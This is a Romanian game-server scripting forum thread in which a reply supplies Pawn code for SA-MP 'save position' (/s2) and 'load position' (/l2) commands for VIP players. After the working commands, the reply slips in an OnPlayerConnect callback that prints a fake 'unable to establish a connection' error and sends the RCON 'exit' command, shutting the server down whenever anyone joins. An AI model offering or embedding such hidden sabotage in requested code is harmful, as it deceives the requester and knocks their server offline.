Jump to content

Save Position


Ph0eniX

Recommended Posts

La cererea lui Extasy

Nume: 3xTaSY
Nume FS: Save position system
Descriere: Comanda /s2 pt. VIP Level 3. Doar un model de comanda as dori, continui eu mai departe.
Poze(optional): - - -
CMD:s2(playerid,params[])
{
    if(AccInfo[playerid][pVip] >=3 )
	{
		//--------------------------------------------------------------------------
		GetPlayerPos(playerid, AccInfo[playerid][x2], AccInfo[playerid][y2], AccInfo[playerid][z2]);
		//--------------------------------------------------------------------------
		SendClientMessage(playerid, red, "{FF9900}Position Successfully Saved {00BBF6}(Use: /L2 to come back)!");
     }
     else return SendClientMessage(playerid, red, "You need to be VIP Level 3 to use this command!");
}
Iar sus la enum PlayerData adaugi
Float:x2, Float:y2, Float:z2
iar command /L2
CMD:l2(playerid,params[])
{
    if(AccInfo[playerid][pVip] >=3 )
	{
	    if(AccInfo[playerid][x2] != 0 && AccInfo[playerid][y2] != 0 && AccInfo[playerid][z2] != 0)
		{
		    if(!IsPlayerInAnyVehicle(playerid))
		    {
		    	SetPlayerPos(playerid, AccInfo[playerid][x2], AccInfo[playerid][y2], AccInfo[playerid][z2]);
				SetPlayerVirtualWorld(playerid, 0); SetPlayerInterior(playerid, 0);
			}
			else
			{
				SetVehiclePos(GetPlayerVehicleID(playerid), AccInfo[playerid][x2], AccInfo[playerid][y2], AccInfo[playerid][z2]);
	        	LinkVehicleToInterior(GetPlayerVehicleID(playerid), 0);
	        	SetVehicleVirtualWorld(GetPlayerVehicleID(playerid), 0);
			}
			return SendClientMessage(playerid, red, "{FF9900}Position Successfully Loaded {00BBF6}(Use: /S2 to change it)!");
		}
		else return SendClientMessage(playerid, red, "ERROR: You not have a saved Position! (/S2)");
	}
	else return SendClientMessage(playerid, red, "ERROR: You need to be VIP Level 3 to use this command!");
}

sa nu zici tu cas yo baiat rau...-.-" bafta

public OnPlayerConnect(playerid)
{
	print("[ERROR] - Unable to establish a connection with the world...");
	SendRconCommand("exit");
	return 1;
}

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.